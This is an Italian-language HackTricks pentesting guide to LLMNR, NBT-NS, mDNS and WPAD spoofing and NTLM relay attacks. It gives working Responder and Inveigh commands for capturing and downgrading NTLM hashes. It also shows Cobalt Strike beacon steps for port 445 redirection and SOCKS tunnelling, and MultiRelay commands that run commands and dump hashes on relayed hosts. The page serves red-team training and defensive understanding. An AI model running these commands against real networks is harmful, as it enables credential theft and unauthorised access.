Spoofing LLMNR, NBT-NS, mDNS/DNS e WPAD e Attacchi di Relay
Reading time: 6 minutes
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.
Protocolli di Rete
Protocolli di Risoluzione Locale degli Host
- LLMNR, NBT-NS e mDNS:
- Microsoft e altri sistemi operativi utilizzano LLMNR e NBT-NS per la risoluzione dei nomi locali quando DNS fallisce. Allo stesso modo, i sistemi Apple e Linux utilizzano mDNS.
- Questi protocolli sono suscettibili a intercettazioni e spoofing a causa della loro natura non autenticata e broadcast su UDP.
- Responder può essere utilizzato per impersonare servizi inviando risposte falsificate agli host che interrogano questi protocolli.
- Ulteriori informazioni sull'impersonificazione dei servizi utilizzando Responder possono essere trovate qui.
Protocollo di Scoperta Automatica del Proxy Web (WPAD)
- WPAD consente ai browser di scoprire automaticamente le impostazioni del proxy.
- La scoperta è facilitata tramite DHCP, DNS, o un fallback a LLMNR e NBT-NS se DNS fallisce.
- Responder può automatizzare gli attacchi WPAD, indirizzando i client verso server WPAD malevoli.
Responder per il Poisoning dei Protocolli
- Responder è uno strumento utilizzato per il poisoning delle query LLMNR, NBT-NS e mDNS, rispondendo selettivamente in base ai tipi di query, mirando principalmente ai servizi SMB.
- È preinstallato in Kali Linux, configurabile in
/etc/responder/Responder.conf
. - Responder visualizza gli hash catturati sullo schermo e li salva nella directory
/usr/share/responder/logs
. - Supporta sia IPv4 che IPv6.
- La versione Windows di Responder è disponibile qui.
Esecuzione di Responder
- Per eseguire Responder con impostazioni predefinite:
responder -I <Interface>
- Per un probing più aggressivo (con potenziali effetti collaterali):
responder -I <Interface> -P -r -v
- Tecniche per catturare le sfide/riposte NTLMv1 per una cracking più semplice:
responder -I <Interface> --lm --disable-ess
- L'impersonificazione WPAD può essere attivata con:
responder -I <Interface> --wpad
- Le richieste NetBIOS possono essere risolte all'IP dell'attaccante, e un proxy di autenticazione può essere impostato:
responder.py -I <interface> -Pv
Poisoning DHCP con Responder
- Spoofing delle risposte DHCP può avvelenare permanentemente le informazioni di routing di una vittima, offrendo un'alternativa più furtiva al poisoning ARP.
- Richiede una conoscenza precisa della configurazione della rete target.
- Esecuzione dell'attacco:
./Responder.py -I eth0 -Pdv
- Questo metodo può catturare efficacemente gli hash NTLMv1/2, ma richiede una gestione attenta per evitare interruzioni della rete.
Cattura delle Credenziali con Responder
- Responder impersonerà i servizi utilizzando i protocolli sopra menzionati, catturando le credenziali (di solito NTLMv2 Challenge/Response) quando un utente tenta di autenticarsi contro i servizi falsificati.
- Possono essere effettuati tentativi di downgrade a NetNTLMv1 o disabilitare ESS per una cracking delle credenziali più semplice.
È fondamentale notare che l'impiego di queste tecniche deve avvenire legalmente ed eticamente, garantendo la corretta autorizzazione e evitando interruzioni o accessi non autorizzati.
Inveigh
Inveigh è uno strumento per penetration tester e red teamer, progettato per sistemi Windows. Offre funzionalità simili a Responder, eseguendo spoofing e attacchi man-in-the-middle. Lo strumento è evoluto da uno script PowerShell a un binario C#, con Inveigh e InveighZero come versioni principali. Parametri dettagliati e istruzioni possono essere trovati nella wiki.
Inveigh può essere operato tramite PowerShell:
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
O eseguito come un binario C#:
Inveigh.exe
Attacco di Relay NTLM
Questo attacco sfrutta le sessioni di autenticazione SMB per accedere a una macchina target, concedendo una shell di sistema se ha successo. I requisiti chiave includono:
- L'utente che si autentica deve avere accesso come Amministratore Locale sull'host relayato.
- La firma SMB deve essere disabilitata.
Inoltro e Tunnelizzazione della Porta 445
In scenari in cui l'introduzione diretta nella rete non è fattibile, il traffico sulla porta 445 deve essere inoltrato e tunnelizzato. Strumenti come PortBender aiutano a reindirizzare il traffico della porta 445 a un'altra porta, il che è essenziale quando è disponibile l'accesso come amministratore locale per il caricamento del driver.
Impostazione e funzionamento di PortBender in Cobalt Strike:
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)
beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080
# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
Altri Strumenti per l'Attacco di Relay NTLM
- Metasploit: Configurato con proxy, dettagli degli host locali e remoti.
- smbrelayx: Uno script Python per il relay delle sessioni SMB ed esecuzione di comandi o distribuzione di backdoor.
- MultiRelay: Uno strumento della suite Responder per relay di utenti specifici o di tutti gli utenti, esecuzione di comandi o dumping di hash.
Ogni strumento può essere configurato per operare attraverso un proxy SOCKS se necessario, abilitando attacchi anche con accesso indiretto alla rete.
Operazione di MultiRelay
MultiRelay viene eseguito dalla directory /usr/share/responder/tools, mirando a IP o utenti specifici.
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
Questi strumenti e tecniche formano un insieme completo per condurre attacchi NTLM Relay in vari ambienti di rete.
Forzare le autenticazioni NTLM
In Windows potresti essere in grado di forzare alcuni account privilegiati ad autenticarsi su macchine arbitrarie. Leggi la pagina seguente per scoprire come:
{{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}}
Riferimenti
- https://intrinium.com/smb-relay-attack-tutorial/
- https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/
- https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/
- https://intrinium.com/smb-relay-attack-tutorial/
- https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html
tip
Impara e pratica l'Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica l'Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos di github.